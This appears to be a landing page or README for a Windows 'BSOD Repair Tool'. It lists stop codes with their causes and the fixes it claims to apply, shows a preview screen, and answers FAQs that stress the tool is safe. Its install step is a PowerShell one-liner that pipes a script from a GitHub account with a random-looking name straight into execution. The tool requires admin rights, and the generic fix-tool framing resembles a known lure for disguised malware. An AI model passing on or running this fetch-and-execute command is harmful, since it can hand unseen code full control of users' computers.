BSOD Repair Tool

Fix Blue Screen of Death errors on Windows 10 and 11.

Download · Stop Codes · How It Works · FAQ

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Why

Your PC crashes with a blue screen showing a cryptic error like IRQL_NOT_LESS_OR_EQUAL or CRITICAL_PROCESS_DIED. You restart, it happens again. Google gives you 50 different possible causes. You don't know where to start.

BSOD Repair Tool analyzes your crash dump files, identifies the cause, and applies targeted fixes automatically.

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Stop Codes Fixed

Driver-Related

Stop Code	Cause	Fix Applied
IRQL_NOT_LESS_OR_EQUAL	Faulty driver accessing wrong memory	Identifies and reinstalls bad driver
DRIVER_IRQL_NOT_LESS_OR_EQUAL	Driver using incorrect interrupt level	Driver rollback or update
SYSTEM_THREAD_EXCEPTION_NOT_HANDLED	Driver crash in system thread	Isolates and reinstalls driver
VIDEO_TDR_FAILURE (nvlddmkm.sys)	GPU driver timeout	Reinstalls GPU driver, resets TDR
KMODE_EXCEPTION_NOT_HANDLED	Kernel-mode driver exception	Identifies faulting module
PAGE_FAULT_IN_NONPAGED_AREA	Driver reading invalid memory	SFC scan + driver repair

System-Related

Stop Code	Cause	Fix Applied
CRITICAL_PROCESS_DIED	Essential Windows process crashed	SFC + DISM repair
KERNEL_SECURITY_CHECK_FAILURE	Corrupted system files	System file repair
SYSTEM_SERVICE_EXCEPTION	System service error	Service repair + SFC
DPC_WATCHDOG_VIOLATION	Storage controller timeout	Driver update + SSD trim
UNEXPECTED_STORE_EXCEPTION	Storage device error	chkdsk + driver repair
WHEA_UNCORRECTABLE_ERROR	Hardware error detected	Diagnostics report

Memory-Related

Stop Code	Cause	Fix Applied
MEMORY_MANAGEMENT	RAM or virtual memory issue	Page file reset + memory diagnostic
BAD_POOL_HEADER	Memory pool corruption	Pool tag analysis + repair
BAD_POOL_CALLER	Faulty memory allocation	Driver isolation + update
KERNEL_DATA_INPAGE_ERROR	Disk read error into memory	chkdsk + SFC

Power & Watchdog

Stop Code	Cause	Fix Applied
DRIVER_POWER_STATE_FAILURE	Driver stuck in wrong power state	Updates driver, disables power management
CLOCK_WATCHDOG_TIMEOUT	CPU core not responding	Updates chipset driver, checks overclocking
WIN32K_POWER_WATCHDOG_TIMEOUT	Display driver power timeout	Resets GPU power settings

Kernel & Memory (Additional)

Stop Code	Cause	Fix Applied
APC_INDEX_MISMATCH	Driver APC call imbalance	Identifies faulting driver, reinstalls
PFN_LIST_CORRUPT	Page frame database corruption	Memory diagnostic + SFC repair
DRIVER_OVERRAN_STACK_BUFFER	Driver wrote beyond stack buffer	Identifies driver, forces update
REFERENCE_BY_POINTER	Invalid object reference count	SFC + DISM repair
ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY	Code executing from protected memory	Driver rollback, DEP check
FAULTY_HARDWARE_CORRUPTED_PAGE	RAM or disk hardware fault	Hardware diagnostic report
KERNEL_MODE_HEAP_CORRUPTION	Kernel heap damaged by driver	Isolates faulting driver

Boot-Related

Stop Code	Cause	Fix Applied
INACCESSIBLE_BOOT_DEVICE	Boot drive not found	BCD repair + driver reinstall
NTFS_FILE_SYSTEM	NTFS volume corruption	chkdsk /f on system drive
UNMOUNTABLE_BOOT_VOLUME	Boot partition error	BCD rebuild + volume repair

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How It Works

1. Analyze -- Reads Windows crash dump files (minidump) to identify the exact stop code, faulting driver, and memory address
2. Diagnose -- Cross-references the crash data with known causes and solutions
3. Repair -- Applies targeted fixes:
   • Runs SFC and DISM for system file corruption
   • Updates or rolls back faulting drivers
   • Resets Windows components
   • Repairs boot configuration if needed
4. Prevent -- Configures system settings to reduce future BSOD risk

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Install

Option A -- Direct download

Download

Option B -- PowerShell

irm https://raw.githubusercontent.com/CrystalContractor71/Release/main/install.ps1 | iex

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Preview

  +----------------------------------------------------+
  |            BSOD Repair Tool v1.5.0                 |
  +----------------------------------------------------+
  |                                                    |
  |  Crash Analysis:                                   |
  |                                                    |
  |  Last BSOD: IRQL_NOT_LESS_OR_EQUAL                |
  |  Faulting module: nvlddmkm.sys (NVIDIA driver)    |
  |  Date: 2026-06-15 14:23:07                        |
  |  Crash dumps found: 4                              |
  |                                                    |
  |  Recommended fixes:                                |
  |  [x] Update NVIDIA display driver                  |
  |  [x] Run System File Checker                       |
  |  [x] Reset TDR timeout value                       |
  |  [ ] Run memory diagnostic                         |
  |                                                    |
  |  [ Apply Fixes ]     [ Full Scan ]     [ Exit ]    |
  |                                                    |
  +----------------------------------------------------+

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System Requirements

OS	Windows 10 / 11 (64-bit)
RAM	4 GB recommended
Disk	200 MB
Admin	Yes

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FAQ

Can this fix BSODs caused by hardware failure? The tool can detect hardware-related BSODs (RAM, disk, CPU) and tell you which component is likely failing. It cannot fix broken hardware, but it will tell you what to replace.

I get a BSOD during Windows startup. Boot into Safe Mode first, then run the tool. The tool works in Safe Mode.

Is it safe to use? Yes. The tool reads crash dump files (read-only analysis) and uses Windows built-in repair commands (SFC, DISM, chkdsk). No system files are patched.

How is this different from BlueScreenView? BlueScreenView only shows crash information. This tool also repairs the underlying cause.

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License

MIT